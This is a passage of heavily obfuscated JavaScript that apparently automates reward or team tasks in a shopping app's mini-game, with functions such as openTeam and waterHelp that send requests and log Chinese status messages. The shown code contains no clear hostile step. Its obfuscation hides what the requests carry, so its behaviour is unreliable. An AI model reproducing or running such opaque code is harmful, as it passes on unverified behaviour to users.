x1*-0x155f],console[_0x5d496c(0xcab,0xdd8,0xb7c,'\x5d\x79\x74\x33',0xd65)](_0x2f6a1e[_0x5d496c(0xa7f,0xced,0xb4b,'\x49\x29\x49\x39',0x801)](_0x2f6a1e[_0x3db95a(0xb49,0x792,0xf98,0x11e8,'\x4f\x6f\x72\x35')],_0x299166));else console[_0xf9c853(0x16c,-0x4b0,0x3de,'\x4c\x28\x57\x30',-0x4a4)](_0x2f6a1e[_0x3db95a(0xc3c,0xa29,0x9c9,0xa3f,'\x49\x29\x49\x39')]);}else _0x39a730[_0x5d496c(0x9cb,0x14a,0x793,'\x56\x6b\x71\x37',0x100)](_0x155bf4[_0x3c70f6(0x7b0,0x37c,'\x56\x55\x65\x45',0x609,0x741)](_0x155bf4[_0x3db95a(0x48f,0x13b,0x231,0xb0d,'\x6b\x72\x35\x76')],_0xc04506));}else console[_0x5d496c(0x128,0x8d,0x57a,'\x64\x6f\x4e\x70',-0x153)](_0x2f6a1e[_0x1e4f65(0xae8,0xf31,'\x31\x71\x6b\x4a',0xa80,0xc21)](_0x2f6a1e[_0x3c70f6(0x479,0x9a5,'\x41\x40\x62\x74',0x317,0x278)],_0x11e1b0[_0x1e4f65(0x416,0x44b,'\x45\x55\x66\x55',0xa43,0x8b)+_0x3db95a(0x20,0x4e5,-0x84,-0x2b7,'\x56\x55\x65\x45')]));}}),await $[_0x192328(0x180c,0x12e7,0x1828,0xcc3,'\x6c\x54\x48\x57')](-0x1eff+0xb72*-0x1+0x3241);if(!_0x299166||_0x2f6a1e[_0x13e59d(0xfb6,'\x45\x55\x66\x55',0xb76,0xfb6,0x14a0)](_0x299166[_0x524da5(0xd4a,0xc56,0xb36,'\x24\x4b\x72\x6d',0xbc6)+'\x4f\x66']('\u4e0a\u9650'),-(0x19cc+-0x17f1+0x9e*-0x3)))break;}else _0x2a66c3[_0x13e59d(0x40d,'\x56\x55\x65\x45',0x6f2,0x98b,0xfa)](_0x2f6a1e[_0x565765('\x6c\x54\x48\x57',0x1b5,0xc1a,0x609,0xa92)](_0x2f6a1e[_0x524da5(0x89d,0x6c1,0x5dd,'\x76\x74\x36\x39',0x8c9)](_0x2f6a1e[_0x2d5ea2(0x350,'\x4a\x55\x45\x71',0x36d,0x230,0x255)],_0x190750[_0x2a7b4a][_0x192328(0x8df,0x9b1,0x482,0x443,'\x45\x74\x4e\x68')+_0x13e59d(0x338,'\x58\x23\x51\x29',0x756,0x3e5,0x297)]),_0x2f6a1e[_0x192328(0x123,0x666,0x7c1,0xb95,'\x45\x64\x30\x4a')]));}_0x2f6a1e[_0x13e59d(0x7fc,'\x6b\x72\x35\x76',0x496,0x97d,0x769)](_0x23c054);}else _0x434ade[_0x192328(0x11f6,0xd5e,0xd22,0x11da,'\x55\x4e\x28\x56')](_0x348d22[_0x524da5(0x1244,0x8e6,0xdb1,'\x4d\x58\x52\x4d',0x128f)](_0x348d22[_0x192328(0xceb,0x1257,0xc34,0x1124,'\x56\x55\x65\x45')],_0x119a5f)),_0x348d22[_0x2d5ea2(0x308,'\x6c\x54\x48\x57',-0x298,0x248,0x2e7)](_0x378ae7);}catch(_0x35216d){_0x2f6a1e[_0x13e59d(0xbbe,'\x61\x4c\x56\x47',0x801,0x1140,0xb98)](_0x2f6a1e[_0x565765('\x21\x33\x39\x77',0x116a,0xba8,0xee8,0xcdb)],_0x2f6a1e[_0x565765('\x49\x29\x49\x39',0x349,0x168,0x426,0x65b)])?(_0x116952=_0x95c6f8[_0x192328(0x910,0x898,0x3e8,0xacf,'\x5d\x6e\x6c\x64')][_0x13e59d(0x54c,'\x21\x2a\x37\x57',0x330,0x476,0x2af)+_0x2d5ea2(0x3b0,'\x4c\x28\x57\x30',0x150,-0x215,-0x182)][_0x13e59d(0xbd9,'\x58\x23\x51\x29',0x6ef,0xbbf,0x12a4)+_0x524da5(-0x47d,-0x4c9,0x215,'\x64\x6f\x4e\x70',-0x412)],_0x189c16[_0x192328(0xab5,0xcf4,0xa5b,0x6fa,'\x44\x5d\x71\x6c')](_0x348d22[_0x2d5ea2(0x8d1,'\x4e\x74\x35\x73',0x9f3,0xae1,0x310)](_0x348d22[_0x192328(0x130e,0xe95,0x1437,0xb9b,'\x46\x42\x49\x42')](_0x348d22[_0x524da5(0x10d4,0xafc,0xde4,'\x70\x4b\x21\x31',0x1198)],_0x41a26f),_0x348d22[_0x192328(0x154d,0xfca,0xfbb,0x1558,'\x4c\x28\x57\x30')]))):(console[_0x524da5(0x113d,0x3d9,0xa86,'\x4a\x55\x45\x71',0x480)](_0x2f6a1e[_0x524da5(0x15f,-0x157,0x343,'\x6e\x76\x6d\x2a',0x48f)](_0x2f6a1e[_0x565765('\x7a\x78\x28\x4e',0x80a,-0x1e1,0x3c6,0x8bf)],_0x35216d)),_0x2f6a1e[_0x524da5(0xa7,0x2e4,0x3be,'\x70\x4b\x21\x31',0xa23)](_0x23c054));}else{let _0x37b0bb=_0x57e907[_0x192328(0xd74,0xe73,0x134e,0x1549,'\x50\x5d\x49\x57')](_0x4a190b[_0x565765('\x76\x74\x36\x39',0x902,0x1fb,0x7c5,0x26f)]);if(_0x348d22[_0x565765('\x56\x6b\x71\x37',0xecc,0x9c1,0x877,0x51d)](_0x37b0bb[_0x13e59d(0x336,'\x21\x2a\x37\x57',-0xe9,-0x397,0x760)+'\x74'],-0x2257*-0x1+0x2*0x2f9+-0x509*0x8))_0x4ce38a[_0x565765('\x70\x4b\x21\x31',0x9ff,0x711,0x542,0x9aa)](_0x348d22[_0x524da5(0x148,0x99a,0x5b5,'\x58\x23\x51\x29',-0x53)](_0x348d22[_0x2d5ea2(0x7d0,'\x43\x75\x73\x46',0x4f7,0x78f,0xd7c)],!_0x37b0bb[_0x13e59d(0x5be,'\x46\x42\x49\x42',0xc6f,-0xd3,0x2f1)][_0x524da5(0x41f,-0x22d,0x1d0,'\x4d\x58\x52\x4d',0x476)]?_0x348d22[_0x524da5(0x77b,0x11a0,0xb2a,'\x49\x29\x49\x39',0xf56)]:_0x37b0bb[_0x13e59d(0x4ab,'\x4f\x6f\x72\x35',0x2a9,0x869,0x587)][_0x524da5(0x7a8,0xab1,0x588,'\x67\x4d\x30\x75',0x72c)]));else _0x458ac8[_0x524da5(0x894,0x94a,0x9fd,'\x41\x40\x62\x74',0x86b)](_0x348d22[_0x192328(0x5e9,0xc40,0x5a8,0x85f,'\x49\x29\x49\x39')](_0x348d22[_0x524da5(0xdf5,0xbd0,0x854,'\x44\x5d\x71\x6c',0x35c)],_0x37b0bb[_0x192328(0xe84,0x9ba,0xa3f,0xb18,'\x34\x4a\x59\x74')+_0x524da5(0x2ec,-0x57,0x4ab,'\x4d\x58\x52\x4d',0x159)]));_0x348d22[_0x524da5(0x5e7,0x43d,0xa27,'\x6e\x53\x58\x24',0x8a0)](_0x425026);}});}async function openTeam(){function _0x57171d(_0x2b3af1,_0x3f94f9,_0x4b651a,_0x2a84e5,_0x43a621){return _0x38128f(_0x2b3af1-0x34,_0x3f94f9-0x13b,_0x4b651a-0x8f,_0x4b651a,_0x3f94f9-0x736);}function _0xfe19b3(_0x3e9ada,_0x2596ce,_0x5d2910,_0xe3c5a8,_0x8f895){return _0x14621e(_0xe3c5a8- -0x170,_0x5d2910,_0x5d2910-0x27,_0xe3c5a8-0x198,_0x8f895-0x52);}function _0x16b404(_0x744f2f,_0x54c423,_0x449898,_0x519d12,_0x11caec){return _0x38128f(_0x744f2f-0x171,_0x54c423-0xe,_0x449898-0x1af,_0x744f2f,_0x54c423-0xcf);}function _0x53ed55(_0x5da190,_0x2ffa45,_0x2603bb,_0x58032c,_0x36277c){return _0x38128f(_0x5da190-0x13a,_0x2ffa45-0x1f2,_0x2603bb-0xfb,_0x58032c,_0x5da190-0x7cb);}const _0x3abf8b={'\x46\x6f\x6b\x49\x69':function(_0x1f846e,_0x479755){return _0x1f846e!==_0x479755;},'\x79\x4e\x59\x42\x47':_0x16b404('\x6e\x46\x49\x33',0x8f1,0xe24,0x8b2,0x479),'\x4f\x76\x4c\x52\x76':_0xfe19b3(-0x42d,0x4c3,'\x21\x33\x39\x77',0x15f,-0x585),'\x77\x72\x4f\x58\x65':function(_0xbf4ae2,_0x35e57d){return _0xbf4ae2==_0x35e57d;},'\x6f\x41\x67\x55\x6d':_0xfe19b3(0x205,-0x78,'\x6b\x72\x35\x76',0x9c,-0x491)+_0x57171d(0xd03,0xee8,'\x41\x6e\x41\x53',0x8a5,0xec6)+_0x53ed55(0x12b7,0x13e9,0x14d6,'\x4c\x34\x59\x31',0x138f)+'\u529f\x21','\x58\x72\x72\x47\x77':function(_0x244996){return _0x244996();},'\x73\x55\x48\x46\x65':function(_0x34d664,_0x5d7ee2){return _0x34d664==_0x5d7ee2;},'\x51\x74\x51\x68\x41':_0x16b404('\x58\x23\x51\x29',0x4ff,0x8c3,0x9b5,0xe5)+_0xfe19b3(-0x6ee,-0x1,'\x6f\x65\x59\x78',-0x93,0x1f3)+'\x2b\x24','\x77\x43\x54\x42\x7a':_0x53ed55(0xfc2,0x11ca,0x10c7,'\x51\x50\x65\x2a',0x1561)+_0x16b404('\x54\x56\x24\x21',0x1f,-0x298,-0x1c,0x121)+_0x53ed55(0x97c,0x771,0x635,'\x7a\x78\x28\x4e',0xd25)+'\u529f\x21','\x46\x74\x55\x71\x72':function(_0x330b21){return _0x330b21();},'\x47\x6d\x4e\x63\x4a':_0x46fe9d(0xf28,'\x43\x75\x73\x46',0xbe2,0xa89,0xcdb),'\x4b\x79\x77\x48\x57':function(_0x10d08d,_0x1074c2,_0x5d6eaa){return _0x10d08d(_0x1074c2,_0x5d6eaa);},'\x6f\x53\x47\x4f\x43':_0x57171d(0x734,0x927,'\x4e\x74\x35\x73',0xf35,0xd5c)+_0x16b404('\x5d\x79\x74\x33',0x6c0,0x92e,0x423,0x996)+_0x16b404('\x54\x56\x24\x21',0x936,0xb45,0xc52,0xc13)+_0x57171d(0x158d,0xf90,'\x41\x40\x62\x74',0x147d,0xf97)+_0x57171d(0xb51,0xf14,'\x55\x4e\x28\x56',0x143c,0x1185)+_0x57171d(0xe40,0x1005,'\x45\x55\x66\x55',0x139d,0x975)+_0x53ed55(0x935,0xe47,0x6a0,'\x55\x4e\x28\x56',0x7b9)+_0x16b404('\x4d\x58\x52\x4d',0x486,0x3e0,0xb43,-0x14f)+_0xfe19b3(0xe3d,0xab3,'\x6e\x76\x6d\x2a',0x958,0xce2)+_0x57171d(0xab8,0xec7,'\x58\x23\x51\x29',0x14e6,0x1001)+_0x53ed55(0x5f0,0x531,0x6b4,'\x6c\x54\x48\x57',0x33e)+_0x46fe9d(0xb4c,'\x6b\x72\x35\x76',0xa00,0x748,0xc4a)+_0xfe19b3(0xcba,0x659,'\x24\x4b\x72\x6d',0x5ee,0x757)+'\x61\x6d','\x50\x56\x67\x46\x4b':_0x46fe9d(0xfea,'\x56\x6b\x71\x37',0x101f,0x874,0x952)+_0x46fe9d(0xac,'\x5d\x6e\x6c\x64',-0x3b5,0x453,0x315)+_0x46fe9d(0x80b,'\x34\x4a\x59\x74',0xef9,0x7cf,0x918)+_0x57171d(0x623,0x553,'\x30\x29\x35\x70',0x3c1,0x94a)+_0x53ed55(0x9fd,0xcf3,0x72e,'\x56\x6b\x71\x37',0xcfe)+_0x46fe9d(0x3fa,'\x4e\x74\x35\x73',0xaeb,0xbb5,0x531)+_0x46fe9d(0x10d4,'\x61\x4c\x56\x47',0x7e0,0xa3b,0xb92)+_0x46fe9d(0x5ec,'\x4e\x74\x35\x73',0x5cc,0x9fa,0x456)+_0x16b404('\x23\x4b\x6e\x33',0xa1f,0xb07,0x689,0x382)+_0x53ed55(0xc3c,0x878,0xcc7,'\x5d\x5b\x48\x44',0x10ec)+_0x46fe9d(0x976,'\x45\x64\x30\x4a',0xb91,0x92f,0x1001),'\x5a\x68\x4e\x4b\x58':function(_0x556af1,_0x5137b6){return _0x556af1!==_0x5137b6;},'\x61\x77\x4d\x7a\x65':_0x57171d(0xbd5,0x814,'\x5d\x79\x74\x33',0xbaa,0x9dc),'\x69\x71\x4b\x78\x67':_0xfe19b3(-0xd8,0x180,'\x6e\x53\x58\x24',0x513,0x5d),'\x59\x64\x69\x55\x53':function(_0x5ef2d6,_0x7ba4ba){return _0x5ef2d6+_0x7ba4ba;},'\x6f\x44\x54\x4f\x64':_0x16b404('\x34\x4a\x59\x74',0xbd9,0x630,0xd9a,0x5f4)+_0x46fe9d(0xb06,'\x6e\x46\x49\x33',0xb1c,0x5e5,0xc06)+'\u3011\x3a','\x52\x5a\x4c\x76\x6c':function(_0x439ed0){return _0x439ed0();},'\x43\x74\x79\x6f\x70':function(_0x22a3b3,_0x106482,_0x65903b){return _0x22a3b3(_0x106482,_0x65903b);},'\x43\x61\x42\x6b\x4d':_0x46fe9d(0x503,'\x5d\x6e\x6c\x64',0x583,0x6b6,0x9c9)+_0x46fe9d(0xe89,'\x4e\x74\x35\x73',0xae6,0xc93,0x8df)+_0x53ed55(0x8d4,0x263,0xc97,'\x6f\x65\x59\x78',0x692)+_0x46fe9d(0xa86,'\x73\x28\x4d\x75',0x7f6,0x4e4,0x420)+_0x53ed55(0x9e2,0xca1,0xe12,'\x6e\x76\x6d\x2a',0xf10)+_0x16b404('\x7a\x78\x28\x4e',0x1d3,0x213,0x702,-0x7f)+_0x53ed55(0x1270,0x1447,0x16be,'\x41\x6e\x41\x53',0x137c)+_0x57171d(0x913,0x767,'\x61\x4c\x56\x47',0x39b,0xd05)+_0x53ed55(0xacc,0xc86,0x6ba,'\x61\x4c\x56\x47',0x10aa)+_0x57171d(0x9ce,0x5aa,'\x34\x4a\x59\x74',0xa73,0x271),'\x61\x67\x5a\x41\x48':_0x16b404('\x76\x74\x36\x39',-0x167,-0x779,-0x5e3,-0x427)+_0x46fe9d(0x86a,'\x44\x5d\x71\x6c',0x712,0x815,0x81a)+_0x53ed55(0x82b,0x246,0x1cf,'\x56\x6b\x71\x37',0x96e)};function _0x46fe9d(_0x1c583b,_0x527004,_0x5940b0,_0x370a9b,_0x364b8a){return _0x14621e(_0x364b8a-0x308,_0x527004,_0x5940b0-0x39,_0x370a9b-0xf9,_0x364b8a-0xa7);}return new Promise(async _0x276460=>{const _0x55b529={'\x59\x72\x49\x76\x70':function(_0x7123c2,_0x1be72a){function _0x4d1df8(_0x3ef8e1,_0x5a7b29,_0x174523,_0x3da736,_0x58d14a){return _0x4a4e(_0x5a7b29-0x2c8,_0x58d14a);}return _0x3abf8b[_0x4d1df8(0xfaa,0xd97,0xe45,0xabf,'\x41\x6e\x41\x53')](_0x7123c2,_0x1be72a);},'\x69\x56\x66\x64\x41':_0x3abf8b[_0x34f8eb(0x543,0x3b6,0x31b,0x16c,'\x4e\x74\x35\x73')],'\x43\x42\x42\x7a\x5a':function(_0x2db6e0,_0x229c1f){function _0x1b06c9(_0xe7939f,_0x1d5c9c,_0x2477f7,_0x57a16a,_0x37123c){return _0x34f8eb(_0xe7939f-0x11e,_0x1d5c9c-0x2c,_0x1d5c9c-0x22a,_0x57a16a-0x18,_0x37123c);}return _0x3abf8b[_0x1b06c9(0x1499,0xe9d,0x120b,0x13ea,'\x41\x40\x62\x74')](_0x2db6e0,_0x229c1f);},'\x67\x61\x50\x51\x4b':_0x3abf8b[_0x645669(0x42c,'\x45\x64\x30\x4a',0x12b,0x123,0x64f)],'\x71\x57\x67\x52\x7a':function(_0x3c8d3e){function _0x3ba788(_0xfe525,_0x2ead0a,_0x20eda0,_0x5a8b10,_0x7faab3){return _0x645669(_0xfe525-0x122,_0x5a8b10,_0x7faab3- -0x11d,_0x5a8b10-0x1a5,_0x7faab3-0x1da);}return _0x3abf8b[_0x3ba788(0x6a4,0xdac,0x324,'\x58\x23\x51\x29',0x8ac)](_0x3c8d3e);}};function _0x4022ec(_0x2f57a4,_0xad879,_0x58342d,_0xd3b3db,_0x1ad9e6){return _0x57171d(_0x2f57a4-0xcb,_0x58342d- -0x235,_0xad879,_0xd3b3db-0xde,_0x1ad9e6-0x26);}try{if(_0x3abf8b[_0x34f8eb(0x469,0x7ba,0x5e0,-0x96,'\x56\x6b\x71\x37')](_0x3abf8b[_0x8f1bfa('\x24\x4b\x72\x6d',0xce6,0x1201,0x920,0xcc0)],_0x3abf8b[_0x42bd8d(0x1008,0xcea,0xea2,0xe3b,'\x5d\x5b\x48\x44')])){let _0x209702=_0xdecde3[_0x42bd8d(0x254,0xd69,0x5a9,0x856,'\x41\x40\x62\x74')](_0x1940dd[_0x645669(0x88f,'\x46\x42\x49\x42',0x5d0,0x4e5,0x792)]);if(_0x55b529[_0x4022ec(0x705,'\x45\x64\x30\x4a',0x4b3,-0xb9,0x1b7)](_0x209702[_0x4022ec(0x931,'\x79\x45\x73\x4a',0x307,0x16c,0x247)+'\x74'],-0x2625+-0x75*0x2f+0x3ba1))_0x487998=_0x209702[_0x645669(-0x129,'\x64\x6f\x4e\x70',0x210,-0x28e,0x414)][_0x645669(0x7c0,'\x21\x2a\x37\x57',0x26a,0x1f7,0x205)+_0x8f1bfa('\x6e\x53\x58\x24',-0x76,0x7ea,0x704,0x4a0)];}else{let _0xa52859=_0x3abf8b[_0x8f1bfa('\x6e\x53\x58\x24',0xbb4,0xa7f,0x121d,0xed3)](urlTask,_0x3abf8b[_0x645669(0x701,'\x41\x40\x62\x74',0xb45,0x715,0x7d0)],_0x3abf8b[_0x645669(0xa4b,'\x31\x71\x6b\x4a',0x797,0x1e2,0x39e)]);await $[_0x8f1bfa('\x21\x33\x39\x77',-0x3e4,-0x266,0x79b,0x1fc)][_0x645669(0xa1c,'\x41\x6e\x41\x53',0x8e1,0x902,0x9a9)](_0xa52859)[_0x4022ec(0x53b,'\x6e\x46\x49\x33',0xac2,0x850,0x100d)](async _0x2f5ef2=>{function _0x4d610b(_0x41641c,_0x4ed648,_0x238881,_0x1b462d,_0x4815ee){return _0x645669(_0x41641c-0x28,_0x4ed648,_0x238881-0x26,_0x1b462d-0xa2,_0x4815ee-0x64);}function _0x2715b2(_0x24e45a,_0x30b66e,_0xa35ac0,_0x3dacae,_0x36b671){return _0x4022ec(_0x24e45a-0x1d0,_0x30b66e,_0x36b671-0x265,_0x3dacae-0x1c7,_0x36b671-0x3b);}function _0x297d12(_0x29c839,_0x15717b,_0x38dc2f,_0x2abab1,_0x398899){return _0x42bd8d(_0x29c839-0x13c,_0x15717b-0x48,_0x38dc2f-0x156,_0x38dc2f- -0x67d,_0x15717b);}function _0x5ede43(_0x3c5ce9,_0x1cf7e3,_0x2127f2,_0x20b37f,_0xb53c17){return _0x8f1bfa(_0x3c5ce9,_0x1cf7e3-0x170,_0x2127f2-0xac,_0x20b37f-0x13c,_0x1cf7e3- -0x2a9);}function _0x485bf9(_0x42c1af,_0x20d48d,_0x26d45e,_0x383d27,_0x216f17){return _0x8f1bfa(_0x383d27,_0x20d48d-0x9d,_0x26d45e-0x12a,_0x383d27-0x3e,_0x20d48d- -0x160);}if(_0x3abf8b[_0x4d610b(0x33c,'\x41\x40\x62\x74',0x188,0x397,0x207)](_0x3abf8b[_0x4d610b(0x8d0,'\x24\x4b\x72\x6d',0x962,0xd6b,0x28a)],_0x3abf8b[_0x4d610b(0x8f5,'\x55\x4e\x28\x56',0x2a9,0xeb,-0x436)])){let _0x3b4cff=JSON[_0x485bf9(0x2df,0xdb,-0x4d7,'\x46\x42\x49\x42',-0x41c)](_0x2f5ef2[_0x4d610b(0xf22,'\x61\x4c\x56\x47',0xc83,0x892,0x1067)]);if(_0x3abf8b[_0x485bf9(0x9e6,0x80d,0x9dd,'\x49\x29\x49\x39',0x32d)](_0x3b4cff[_0x485bf9(-0x5c,0x320,-0x1f,'\x5b\x35\x69\x4f',0x73f)+'\x74'],0x17be+0x3*0xb8c+-0x3a61))console[_0x485bf9(0x428,0x79f,0x603,'\x6e\x53\x58\x24',0xe12)](_0x3abf8b[_0x2715b2(0x608,'\x56\x55\x65\x45',0xe37,0x84d,0x9f8)]);_0x3abf8b[_0x2715b2(0xd46,'\x4c\x34\x59\x31',0x1687,0x16ba,0xfd6)](_0x276460);}else _0x2fef7c[_0x2715b2(0xc00,'\x5d\x5b\x48\x44',0x1343,0xe51,0x1273)]();});}}catch(_0x3339fb){if(_0x3abf8b[_0x645669(0x573,'\x4f\x6f\x72\x35',0x17c,0x6fd,0x518)](_0x3abf8b[_0x645669(0x462,'\x6e\x46\x49\x33',0x132,0x588,0x296)],_0x3abf8b[_0x645669(0xe5d,'\x54\x56\x24\x21',0xb39,0x941,0xa05)]))console[_0x34f8eb(-0xff,-0x261,-0x2d,-0x59,'\x41\x6e\x41\x53')](_0x3abf8b[_0x8f1bfa('\x5d\x5b\x48\x44',-0x2eb,0x1d1,-0x388,0x282)](_0x3abf8b[_0x645669(0x142,'\x61\x4c\x56\x47',0x243,0x4fe,0x187)],_0x3339fb)),_0x3abf8b[_0x8f1bfa('\x45\x64\x30\x4a',0xb55,0x56a,0x12ab,0xbe1)](_0x276460);else return _0x46a4c7[_0x645669(0xb27,'\x44\x5d\x71\x6c',0x650,0x606,0x2f9)+_0x34f8eb(-0x2ac,-0x348,0xc4,0x11a,'\x4c\x34\x59\x31')]()[_0x34f8eb(0x87f,0xac0,0x596,0x992,'\x46\x42\x49\x42')+'\x68'](xSXoRk[_0x645669(0x9da,'\x43\x75\x73\x46',0x95e,0x433,0xeda)])[_0x34f8eb(-0xd5,-0x1fd,-0xe7,0x2b8,'\x54\x56\x24\x21')+_0x8f1bfa('\x5d\x79\x74\x33',0xfda,0xcd3,0x1299,0xcb2)]()[_0x8f1bfa('\x70\x4b\x21\x31',0x54d,0x491,0xd39,0x7fa)+_0x8f1bfa('\x73\x28\x4d\x75',0x950,0x984,0xc23,0xa4f)+'\x72'](_0x2ebae5)[_0x645669(0xa37,'\x49\x29\x49\x39',0xcf0,0x13b9,0xc2f)+'\x68'](xSXoRk[_0x34f8eb(0x5f3,0x5ca,-0xce,0x24c,'\x30\x29\x35\x70')]);}function _0x34f8eb(_0xce45c0,_0x43a4c,_0x329b4b,_0x5aada2,_0x4e9ebf){return _0xfe19b3(_0xce45c0-0x1c1,_0x43a4c-0x101,_0x4e9ebf,_0x329b4b-0x9b,_0x4e9ebf-0x133);}function _0x8f1bfa(_0x18825f,_0x29e4a0,_0x3ef88e,_0x463fc8,_0x57aa1c){return _0x57171d(_0x18825f-0x1b4,_0x57aa1c- -0x2f0,_0x18825f,_0x463fc8-0x175,_0x57aa1c-0xce);}function _0x645669(_0x422cf2,_0x36637b,_0x113a4b,_0x2724c3,_0x3f7a9e){return _0x46fe9d(_0x422cf2-0x1a0,_0x36637b,_0x113a4b-0x47,_0x2724c3-0x11d,_0x113a4b- -0x3a0);}function _0x42bd8d(_0x438b63,_0x25c5be,_0x370de8,_0x54cab1,_0x498c3d){return _0x16b404(_0x498c3d,_0x54cab1-0x619,_0x370de8-0x87,_0x54cab1-0x5d,_0x498c3d-0x11c);}await $[_0x34f8eb(0x343,0x9a3,0x2ec,-0x335,'\x5d\x6e\x6c\x64')](-0x17c9*0x1+0x3*0x9e+0x13b*0x15);try{let _0x4eb8ec=_0x3abf8b[_0x4022ec(0xf40,'\x6e\x53\x58\x24',0x8cd,0x939,0x39f)](urlTask,_0x3abf8b[_0x645669(-0x20e,'\x31\x71\x6b\x4a',0x7a,0x4,-0x4b4)],_0x3abf8b[_0x8f1bfa('\x21\x2a\x37\x57',-0x22d,-0x20e,-0x1d9,0x37a)]);await $[_0x34f8eb(0x63a,0xa89,0x7dd,0xb0b,'\x79\x45\x73\x4a')][_0x42bd8d(0x6e7,0x9ea,0x46f,0xa03,'\x70\x4b\x21\x31')](_0x4eb8ec)[_0x4022ec(0x653,'\x24\x66\x56\x5d',0x5f5,-0xd1,0x131)](async _0x16be05=>{function _0x659dad(_0x425857,_0x4a1c31,_0x56cb26,_0x15fbb8,_0x301f83){return _0x42bd8d(_0x425857-0x73,_0x4a1c31-0x126,_0x56cb26-0x1e1,_0x301f83- -0x6ac,_0x15fbb8);}function _0x440bf1(_0x2ca0ba,_0x574bd3,_0x61482d,_0x2226ae,_0x258801){return _0x645669(_0x2ca0ba-0x92,_0x2ca0ba,_0x258801-0x597,_0x2226ae-0x92,_0x258801-0x9e);}let _0x1e0637=JSON[_0x659dad(0x4bf,0x1000,0xe70,'\x4d\x58\x52\x4d',0xb04)](_0x16be05[_0x1df686(-0x15b,0x4b8,'\x54\x56\x24\x21',0x62a,0x453)]);function _0x2b2a6a(_0x40d59e,_0x3add9e,_0x43ddd4,_0x349bbf,_0x3b5ebe){return _0x4022ec(_0x40d59e-0x1ab,_0x43ddd4,_0x40d59e-0x259,_0x349bbf-0x1e8,_0x3b5ebe-0x1f2);}if(_0x55b529[_0x440bf1('\x7a\x78\x28\x4e',0x641,0x1114,0xee0,0xcb3)](_0x1e0637[_0x518ab6('\x6e\x46\x49\x33',0x1160,0x10e0,0x105d,0x145c)+'\x74'],-0x1a*-0xad+-0x8b2+-0x8df))console[_0x659dad(-0x76,-0x45c,0x2b5,'\x4e\x74\x35\x73',0x1df)](_0x55b529[_0x440bf1('\x41\x40\x62\x74',0xdf8,0xf12,0xe5c,0x102d)]);function _0x1df686(_0x172cab,_0x2df728,_0x476c4,_0x6a80db,_0x86b5f9){return _0x4022ec(_0x172cab-0x8,_0x476c4,_0x2df728- -0x3d6,_0x6a80db-0x127,_0x86b5f9-0x14f);}function _0x518ab6(_0x28ad25,_0x2b2715,_0x40b044,_0x423513,_0x3e26d6){return _0x4022ec(_0x28ad25-0x181,_0x28ad25,_0x423513-0xdf,_0x423513-0x55,_0x3e26d6-0x3e);}_0x55b529[_0x659dad(0x6d1,0xfeb,0x49c,'\x56\x55\x65\x45',0xaca)](_0x276460);});}catch(_0x1ba310){console[_0x34f8eb(0x980,0x872,0x96c,0x7cc,'\x4a\x55\x45\x71')](_0x3abf8b[_0x34f8eb(0x933,0x834,0x7a5,0x342,'\x6e\x53\x58\x24')](_0x3abf8b[_0x4022ec(-0xc0,'\x49\x29\x49\x39',0x318,0x305,0x266)],_0x1ba310)),_0x3abf8b[_0x42bd8d(0xd70,0x1736,0x1210,0x10a6,'\x44\x5d\x71\x6c')](_0x276460);}});}async function waterHelp(){function _0x3c20ad(_0x115cef,_0x23589b,_0x191820,_0x1b2a87,_0x501d81){return _0x14621e(_0x501d81- -0x9,_0x191820,_0x191820-0x1db,_0x1b2a87-0x6e,_0x501d81-0xeb);}const _0x3d1c20={'\x53\x73\x50\x6f\x4c':function(_0x1badce,_0x1e3ba7){return _0x1badce==_0x1e3ba7;},'\x41\x45\x41\x74\x79':function(_0x3a6b98,_0x190d03){return _0x3a6b98>_0x190d03;},'\x6b\x47\x58\x54\x75':function(_0x457127,_0x3fcca5){return _0x457127+_0x3fcca5;},'\x44\x4d\x56\x6c\x65':_0x13b44c(0x741,0xf03,0xac4,0x7ca,'\x30\x29\x35\x70')+_0x3c20ad(0xc48,0x40,'\x23\x4b\x6e\x33',0x1f1,0x58c),'\x64\x50\x65\x42\x61':_0x13b44c(0xedd,0x11b8,0x116f,0xc3a,'\x6e\x46\x49\x33')+_0x3c20ad(0x39a,0x6d1,'\x30\x29\x35\x70',0x36c,0xcd)+'\u5931\u8d25','\x43\x4c\x6a\x76\x4a':function(_0x5a74f5,_0x33410c){return _0x5a74f5<_0x33410c;},'\x73\x65\x4c\x4f\x4e':_0x5ec655(0x65b,0x30f,'\x5b\x35\x69\x4f',0xd80,0x90c)+_0x3c20ad(0x7d3,0x7e3,'\x5b\x35\x69\x4f',0x223,0x73c)+_0x4455ff('\x50\x5d\x49\x57',0xba4,0xb93,0xfe5,0xc81)+_0x4455ff('\x55\x4e\x28\x56',0x8e2,0x2bd,0x478,0x7aa)+_0x5ec655(0x257,0xa13,'\x50\x5d\x49\x57',0x54c,0x5d0)+_0x13b44c(0xe2e,0x1a6,0x746,0x4bb,'\x45\x55\x66\x55')+_0x3c20ad(0x47a,-0x18,'\x4c\x28\x57\x30',-0x34d,0x25d)+'\x64\x65','\x75\x71\x41\x69\x68':function(_0x17d0df,_0x267eba,_0x358b5c){return _0x17d0df(_0x267eba,_0x358b5c);},'\x6f\x7a\x6e\x54\x54':_0x3c20ad(-0x40b,-0x132,'\x6b\x72\x35\x76',0x3a6,0x2d3)+_0x11febe(0xdde,0xf6e,0xc74,'\x24\x4b\x72\x6d',0x11b9)+_0x5ec655(0xb33,0x154d,'\x46\x42\x49\x42',0xf82,0x10f0)+_0x5ec655(0xc4f,0x6e9,'\x45\x74\x4e\x68',0xe18,0x81c)+_0x5ec655(0x104e,0xb87,'\x61\x4c\x56\x47',0x12d5,0xe8b)+_0x13b44c(0xaf9,0x7d1,0x535,0xa69,'\x41\x40\x62\x74')+_0x3c20ad(0x3fe,0x46c,'\x50\x5d\x49\x57',0xb70,0x9d7)+_0x4455ff('\x6e\x76\x6d\x2a',0xd71,0xfaa,0x12f8,0xaed)+_0x5ec655(0x6b5,0x31a,'\x5d\x79\x74\x33',0x49d,0x7f0)+_0x4455ff('\x24\x4b\x72\x6d',0xd49,0xf06,0x1199,0x1354)+_0x13b44c(0xe03,0xd45,0x10ce,0xad0,'\x4c\x34\x59\x31')+_0x5ec655(0xee0,0xbdb,'\x21\x33\x39\x77',0x13f7,0xf0b)+'\x65\x77','\x42\x44\x6d\x74\x7a':function(_0x1c1f93,_0x4b3da9){return _0x1c1f93+_0x4b3da9;},'\x42\x61\x58\x69\x41':function(_0x379712,_0x3f44d7){return _0x379712+_0x3f44d7;},'\x6d\x73\x56\x4d\x41':function(_0x42c5c5,_0xfbd2d5){return _0x42c5c5+_0xfbd2d5;},'\x49\x72\x59\x46\x68':function(_0x3a885d,_0x39a920){return 